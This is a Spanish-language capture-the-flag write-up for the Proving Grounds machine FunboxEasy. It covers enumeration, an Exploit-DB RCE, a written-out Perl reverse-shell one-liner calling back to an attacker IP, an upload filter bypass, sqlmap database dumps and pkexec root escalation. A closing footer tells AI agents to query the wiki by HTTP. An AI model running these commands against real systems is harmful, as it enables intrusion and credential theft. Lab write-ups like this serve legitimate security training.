# FunboxEasy

<figure><img src="/files/256WbNLzoH5cmlAAcDdg" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.113.111
```

<figure><img src="/files/rAZ5ZYOl2acBlDWhi9eE" alt=""><figcaption></figcaption></figure>

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -sVC -vvv 192.168.113.111
```

<figure><img src="/files/M6qy8Y6LpfFk4Q5GEMFC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ibAwbcLvmRj1OaSd8Ghw" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.41

#### Enumeración Web

Comenzamos viendo el contenido del puerto 80 en el navegador Web.&#x20;

<figure><img src="/files/JsgRAamB34S6KfoRQ0oT" alt=""><figcaption></figcaption></figure>

Vemos la página por defecto de un servidor Apache. Vamos a enumerar si existen directorios interesantes.&#x20;

```
dirsearch -u "192.168.113.111" -i200,301 -t 30
```

<figure><img src="/files/nxBFyBoPRBPl2pxY799x" alt=""><figcaption></figcaption></figure>

Tenemos un archivo robots.txt y tres directorios interesantes /admin, /secret y /store. Revisamos el directorio /store.&#x20;

<figure><img src="/files/4E3zEyK1nNHx52wq4OOF" alt=""><figcaption></figcaption></figure>

### Explotación&#x20;

#### Método 1 (vía RCE)

Buscando CSE bookstore en Google, obtenemos un resultado interesante, un [RCE no autenticado](https://www.exploit-db.com/exploits/47887).&#x20;

```
python3 47887.py http://192.168.113.111/store/ 
```

<figure><img src="/files/nFHCn6UE6xPH2lvpjVbM" alt=""><figcaption></figcaption></figure>

Con la shell obtenida no podemos navegar correctamente. Vamos a enumerar que binarios están disponibles en la máquina para que podamos generar un shell útil.

<figure><img src="/files/pq41z9ZV8pRyhTbhedey" alt=""><figcaption></figcaption></figure>

"perl" está disponible en la máquina, vamos a intentar utilizarlo para generar una shell.&#x20;

```
perl -e 'use Socket;$i="192.168.49.113";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
```

Al mismo tiempo, ponemos a la escucha un nc en el puerto 1234.

```
nc -lnvp 1234
```

<figure><img src="/files/9w5Lk1arygE5M8huBJOo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BfrE0MYgmnfapJkgVtVh" alt=""><figcaption></figcaption></figure>

Nos dirigimos al directorio /home para buscar usuarios del sistema. Encontramos un usuario "tony".

<figure><img src="/files/TUby5oHhAXdYBW3t6Ok9" alt=""><figcaption></figcaption></figure>

Dentro de ese directorio tenemos un archivo "password.txt" que contiene tres posibles credenciales.&#x20;

Recordamos que en el escaneo de servicios inicial, teníamos un servicio SSH en el puerto 22. Vamos a tratar de iniciar sesión en la máquina víctima con estas credenciales.&#x20;

```
ssh tony@192.168.113.111
```

<figure><img src="/files/nUx5ZQLeMN030DrnVBZU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/M3O7c9mYhQ3YjRqEX5U7" alt=""><figcaption></figcaption></figure>

#### Método 2 (reverse shell en carga de archivos)

Navegando por /store, llegamos a un formulario de inicio de sesión.&#x20;

<figure><img src="/files/7ha8Ui1m1mBT03yBgh3t" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KAVhLudOQG26SbDsggJY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/uKvIOjoGmDp6qyAnmgZR" alt=""><figcaption></figcaption></figure>

Vamos a probar credenciales básicas. Las credenciales admin:admin funcionan y tenemos acceso a la plataforma de subida de nuevos libros.&#x20;

<figure><img src="/files/k9iDtBnrVHkfSqm3a0o0" alt=""><figcaption></figcaption></figure>

Seleccionamos "Add new book", seleccionamos alguno de los títulos, editamos  y cargamos el archivo shell en la carga de archivos de imagen. Modificamos la shell para burlar el filtro de imagen.&#x20;

<figure><img src="/files/Lnw6a51LtAykcUXgHzGL" alt=""><figcaption></figcaption></figure>

Al mismo tiempo, ponemos a la escucha un netcat en el puerto 1337.

<figure><img src="/files/xWgBf0euwtNKNmvhytUU" alt=""><figcaption></figcaption></figure>

Y volvemos  a tener conexión en la máquina víctima.

#### Método 3 (inyección SQL)

Cuando entramos al catálogo de libros disponibles en el catálogo y seleccionamos uno de los ejemplares, vemos la siquiente URL.

<figure><img src="/files/aIcfmtN73iCQTtfDAYh5" alt=""><figcaption></figcaption></figure>

Vamos a probar si es vulnerable a SQLi.

<figure><img src="/files/XbhOJ2Trwj5iGx74dHeF" alt=""><figcaption></figcaption></figure>

Es vulnerable a SQLi. El siguiente paso será explotar esta vulnrabilidad. Para ello, utilizaremos la herramienta "sqlmap". Después de un momento de ejecución, obtenemos información interesante.

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs
```

<figure><img src="/files/yrtXFKe1FKQdKnMvSJTi" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store --dump 
```

<figure><img src="/files/aJk9lrxqT2pGv3WwzTN6" alt=""><figcaption></figcaption></figure>

```
sqlmap -u "http://192.168.113.111/store/book.php?bookisbn=" --dbs --columns -D store -T admin --dump
```

<figure><img src="/files/8ItUppFyb0SaeBtLcv2h" alt=""><figcaption></figcaption></figure>

Con las credenciales encontradas podemos iniciar sesión en la sección en "/store/admin.php"

### Elevación de privilegios

Comenzamos enumerando si existe algún binario que podamos ejecutar como "root" sin contraseña.

```
sudo -l
```

<figure><img src="/files/NYASrfMilQdj6dlMplyu" alt=""><figcaption></figcaption></figure>

El usuario "tony" puede lanzar múltiples ejecutables como "root" sin contraseñas. El más interesante, "/usr/bin/pkexec". Vamos a utilizar [GTFOBins](https://gtfobins.github.io/gtfobins/pkexec/#sudo), para buscar como elevar privilegios aprovechando esto.&#x20;

<figure><img src="/files/3h8Pw5ENp04oAPJQOdiC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/h0typKmG4lcA9pZwKSL3" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios máximos en la máquina objetivo. Ahora a por las flags.

<figure><img src="/files/AWlXEyQm5AGugzampIkP" alt=""><figcaption><p>flag local.txt</p></figcaption></figure>

<figure><img src="/files/Pl2NMgp0CAGAHR5Q6lw5" alt=""><figcaption><p>flag proof.txt</p></figcaption></figure>

Y ya tendríamos otra máquina acabada de Proving Grounds.&#x20;

{% embed url="<https://www.youtube.com/watch?v=TDx3zsWBKg4>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/funboxeasy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
